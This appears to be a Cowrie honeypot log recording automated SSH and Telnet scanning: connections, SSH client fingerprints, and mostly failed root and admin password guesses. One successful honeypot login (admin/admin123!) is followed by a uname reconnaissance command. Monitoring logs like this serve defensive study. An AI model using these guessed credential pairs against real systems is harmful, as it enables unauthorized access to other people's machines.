{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:8e:fe:c7:8b:d3:ed:50:37:2c:cd:6d:25:e3:1e:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLIai0EyC5HCG1hOogUiYSi65kZKPkqub923tKFC4Rr9n+o6agYixkPyPzBm8oujqQJpMK7CGPX0+09RZWPzIRMiPaETxcQQSrVouxBKd09MUf9GsAd56r1FuJudIGzzRe20bDTmDZoez9qFFE4UGyqA6p6e8z9Mp5mOJIrZUau6qN4tGNx5ksXz2Msx12syVU4MLeVy9Lpe/uVmDDuFYyYwi6jNi9Mgh/IhG0vlIVymby1tXHogdr3kYnfop0LNCkHUNcGYcwbHUWqPil/jj9OeaKGhGHcS0MOoZV95ZiNgyUEROJt6QN4vogsGr4PJIVD7MvJ/kdnjztk1sfa4Hn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:8e:fe:c7:8b:d3:ed:50:37:2c:cd:6d:25:e3:1e:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.491924Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:8e:fe:c7:8b:d3:ed:50:37:2c:cd:6d:25:e3:1e:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLIai0EyC5HCG1hOogUiYSi65kZKPkqub923tKFC4Rr9n+o6agYixkPyPzBm8oujqQJpMK7CGPX0+09RZWPzIRMiPaETxcQQSrVouxBKd09MUf9GsAd56r1FuJudIGzzRe20bDTmDZoez9qFFE4UGyqA6p6e8z9Mp5mOJIrZUau6qN4tGNx5ksXz2Msx12syVU4MLeVy9Lpe/uVmDDuFYyYwi6jNi9Mgh/IhG0vlIVymby1tXHogdr3kYnfop0LNCkHUNcGYcwbHUWqPil/jj9OeaKGhGHcS0MOoZV95ZiNgyUEROJt6QN4vogsGr4PJIVD7MvJ/kdnjztk1sfa4Hn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.496116Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:41:10:21:0e:f9:ff:03:d4:18:7e:25:69:a8:4b:31","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICvqG+krhRb7QQEdPbFGesf2k9jL4vlggGbXLFlpPNUM","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cd:41:10:21:0e:f9:ff:03:d4:18:7e:25:69:a8:4b:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.732775Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:41:10:21:0e:f9:ff:03:d4:18:7e:25:69:a8:4b:31","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICvqG+krhRb7QQEdPbFGesf2k9jL4vlggGbXLFlpPNUM","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.736779Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38394,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ddbb3254bdd","protocol":"ssh","message":"New connection: 103.176.20.57:38394 (10.17.0.5:22) [session: 3ddbb3254bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.890491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.895366Z","src_ip":"103.176.20.57","session":"3ddbb3254bdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:e2:70:11:7a:cf:96:25:eb:b2:45:0d:56:64:15:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDepl87VS8DB+gA4HwS+vWexiQAbg9jAa5IAkxJ/llPIBco8vyulv4wB94cYfraXHSDUgWQjs6wLu9npuS6H/CBMPOekj3TQwAfeKwJMxGPO7WASIHE6CZatLirGo9oVaYnjE390XEKlQSyB/u11DmarFKVVUV6ABVmFa6JEJ262aUqraaTqiXm/pj7NDux8XyXxfUVWS5ahVwNbGpBfHx7zrtw4oeDdJ1fC5DW0b8ka1x2ksUXtSY0cuTrK5hqsQoNyItGDsMvxNbq4vBaBVim+YQSwUyXWuaEtCzKv+f+pAM7qrAET1wbv0KaBRqlTBLF/MAyjfgTvT7Xn8DCTxDb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:e2:70:11:7a:cf:96:25:eb:b2:45:0d:56:64:15:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.973238Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:e2:70:11:7a:cf:96:25:eb:b2:45:0d:56:64:15:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDepl87VS8DB+gA4HwS+vWexiQAbg9jAa5IAkxJ/llPIBco8vyulv4wB94cYfraXHSDUgWQjs6wLu9npuS6H/CBMPOekj3TQwAfeKwJMxGPO7WASIHE6CZatLirGo9oVaYnjE390XEKlQSyB/u11DmarFKVVUV6ABVmFa6JEJ262aUqraaTqiXm/pj7NDux8XyXxfUVWS5ahVwNbGpBfHx7zrtw4oeDdJ1fC5DW0b8ka1x2ksUXtSY0cuTrK5hqsQoNyItGDsMvxNbq4vBaBVim+YQSwUyXWuaEtCzKv+f+pAM7qrAET1wbv0KaBRqlTBLF/MAyjfgTvT7Xn8DCTxDb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.977443Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.147011Z","src_ip":"103.176.20.57","session":"3ddbb3254bdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:d9:26:35:03:6b:c2:24:74:b9:69:b7:b5:ec:3d:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlY9ThA5NEnaPF6VDgStjDPwbyixgKynvaZknFjsdZU","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8a:d9:26:35:03:6b:c2:24:74:b9:69:b7:b5:ec:3d:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.209363Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:d9:26:35:03:6b:c2:24:74:b9:69:b7:b5:ec:3d:a4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlY9ThA5NEnaPF6VDgStjDPwbyixgKynvaZknFjsdZU","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.213332Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:f1:48:82:3c:e5:45:9d:d7:f3:87:b2:09:87:41:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1R4vKSTOh5/qefNmAUWlomXdaaFFz0PYJZm3AfGZxydQUP9bnc4u2qJrzxAvSF5MFNvC/3Elyhr7BsQzJ39MCxgwj+Qq5LKwbAILxwWJHWf9TvLBlCcQr0CMQOCePE/mLx3xs1tlKYS0j1srYa98pngIf31KFuPmu/0Vc4izkdaU+km00OX30eqWZAgX4B8b1cNA1SR2U7t4doDw3Kziy3dpD2gfP9r1It09//wBMXcWCx6rUDa8/m0ndqaGXIB+XqaMLIPum3bVlrHcbdXVNnpz4TMqGlJSIJ8pJIz3jvt2aXgCuqfCXbnoEXH5LwU8pnp88wbF7/tSVV0rP2T9WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:f1:48:82:3c:e5:45:9d:d7:f3:87:b2:09:87:41:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.447176Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:f1:48:82:3c:e5:45:9d:d7:f3:87:b2:09:87:41:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1R4vKSTOh5/qefNmAUWlomXdaaFFz0PYJZm3AfGZxydQUP9bnc4u2qJrzxAvSF5MFNvC/3Elyhr7BsQzJ39MCxgwj+Qq5LKwbAILxwWJHWf9TvLBlCcQr0CMQOCePE/mLx3xs1tlKYS0j1srYa98pngIf31KFuPmu/0Vc4izkdaU+km00OX30eqWZAgX4B8b1cNA1SR2U7t4doDw3Kziy3dpD2gfP9r1It09//wBMXcWCx6rUDa8/m0ndqaGXIB+XqaMLIPum3bVlrHcbdXVNnpz4TMqGlJSIJ8pJIz3jvt2aXgCuqfCXbnoEXH5LwU8pnp88wbF7/tSVV0rP2T9WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.451016Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.300755739212036,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.535612Z","src_ip":"176.65.139.118","session":"4fc0dfbce13b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":56924,"dst_ip":"159.203.135.109","dst_port":23,"session":"644891874e4c","protocol":"telnet","message":"New connection: 176.65.139.118:56924 (159.203.135.109:23) [session: 644891874e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.653711Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.685886Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777888999","message":"login attempt [root/777888999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:06.908775Z","src_ip":"103.176.20.57","session":"3ddbb3254bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:08.164893Z","src_ip":"103.176.20.57","session":"3ddbb3254bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a177f33132f0","protocol":"telnet","message":"New connection: 152.42.224.71:40202 (10.17.0.5:23) [session: a177f33132f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:08.467242Z"}
{"eventid":"cowrie.session.closed","duration":42.049643754959106,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:11.900969Z","src_ip":"152.42.224.71","session":"a0f4030e8ec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.430479049682617,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:12.019867Z","src_ip":"152.42.224.71","session":"e6dd4810ea90","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:14.289591Z","src_ip":"176.65.139.118","session":"644891874e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.815112352371216,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:14.385736Z","src_ip":"152.42.224.71","session":"cb6834c114f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43860,"dst_ip":"159.203.135.109","dst_port":22,"session":"92ef9914a1cf","protocol":"ssh","message":"New connection: 31.40.204.166:43860 (159.203.135.109:22) [session: 92ef9914a1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:14.888097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:14.920727Z","src_ip":"31.40.204.166","session":"92ef9914a1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:15.022911Z","src_ip":"31.40.204.166","session":"92ef9914a1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"211265f37627","protocol":"telnet","message":"New connection: 152.42.224.71:40206 (10.17.0.5:23) [session: 211265f37627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:15.129600Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:16.120787Z","src_ip":"31.40.204.166","session":"92ef9914a1cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:16.473174Z","src_ip":"31.40.204.166","session":"92ef9914a1cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:16.476933Z","src_ip":"31.40.204.166","session":"92ef9914a1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33596,"dst_ip":"10.17.0.5","dst_port":23,"session":"613836662455","protocol":"telnet","message":"New connection: 152.42.224.71:33596 (10.17.0.5:23) [session: 613836662455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:16.483894Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:16.612432Z","src_ip":"31.40.204.166","session":"92ef9914a1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:16.679521Z","src_ip":"31.40.204.166","session":"92ef9914a1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.342819452285767,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:16.996406Z","src_ip":"176.65.139.118","session":"644891874e4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36002,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dba16010e56","protocol":"telnet","message":"New connection: 176.65.139.118:36002 (159.203.135.109:23) [session: 6dba16010e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:17.144727Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33608,"dst_ip":"10.17.0.5","dst_port":23,"session":"7be2928f7649","protocol":"telnet","message":"New connection: 152.42.224.71:33608 (10.17.0.5:23) [session: 7be2928f7649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:21.347648Z"}
{"eventid":"cowrie.session.closed","duration":47.84632992744446,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:21.980810Z","src_ip":"152.42.224.71","session":"60a1ab8786b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.90718674659729,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:22.051781Z","src_ip":"176.65.139.118","session":"6dba16010e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53488,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1ded3716fd3","protocol":"ssh","message":"New connection: 31.40.204.166:53488 (159.203.135.109:22) [session: e1ded3716fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:26.781400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:26.791376Z","src_ip":"31.40.204.166","session":"e1ded3716fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:26.921015Z","src_ip":"31.40.204.166","session":"e1ded3716fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.30924868583679,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:27.383538Z","src_ip":"152.42.224.71","session":"eb344dcfc36c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:27.704519Z","src_ip":"31.40.204.166","session":"e1ded3716fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45888,"dst_ip":"10.17.0.5","dst_port":23,"session":"51bfbcc857be","protocol":"telnet","message":"New connection: 152.42.224.71:45888 (10.17.0.5:23) [session: 51bfbcc857be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:28.865682Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:28.881081Z","src_ip":"31.40.204.166","session":"e1ded3716fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.90026783943176,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:30.661109Z","src_ip":"152.42.224.71","session":"fc7594e6b875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45896,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d4ea6d1eee","protocol":"telnet","message":"New connection: 152.42.224.71:45896 (10.17.0.5:23) [session: b4d4ea6d1eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:32.609272Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45898,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba0d4cd63ad1","protocol":"telnet","message":"New connection: 152.42.224.71:45898 (10.17.0.5:23) [session: ba0d4cd63ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:33.444734Z"}
{"eventid":"cowrie.session.closed","duration":54.725794553756714,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:36.408210Z","src_ip":"152.42.224.71","session":"ad9212b87a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.831382274627686,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:37.175035Z","src_ip":"152.42.224.71","session":"6618c4bf76b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38636,"dst_ip":"159.203.135.109","dst_port":22,"session":"455478411091","protocol":"ssh","message":"New connection: 31.40.204.166:38636 (159.203.135.109:22) [session: 455478411091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:37.986867Z"}
